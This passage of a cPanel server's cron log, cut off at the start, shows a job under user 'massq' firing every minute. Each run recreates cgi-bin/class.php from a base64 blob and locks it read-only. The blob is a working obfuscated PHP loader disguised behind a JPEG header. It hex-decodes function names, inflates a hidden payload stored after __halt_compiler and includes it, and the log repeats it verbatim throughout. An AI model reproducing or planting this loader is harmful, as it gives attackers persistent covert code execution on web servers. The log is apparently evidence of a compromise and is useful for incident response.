O0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:30:01 server CROND[4826]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 13:30:01 server CROND[4827]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 13:30:01 server CROND[4828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:30:01 server CROND[4830]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 13:31:01 server CROND[4945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:32:01 server CROND[4988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:33:01 server CROND[5034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:34:01 server CROND[5079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:35:01 server CROND[5222]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 13:35:01 server CROND[5223]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 13:35:01 server CROND[5225]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 13:35:01 server CROND[5224]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 13:35:01 server CROND[5232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:36:01 server CROND[5350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:37:01 server CROND[5392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:38:01 server CROND[5429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:39:01 server CROND[5483]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 13:39:01 server CROND[5485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:40:01 server CROND[5634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 13:40:01 server CROND[5635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:40:01 server CROND[5636]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 13:40:01 server CROND[5637]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 13:41:01 server CROND[5751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:42:01 server CROND[5806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:42:01 server CROND[5807]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
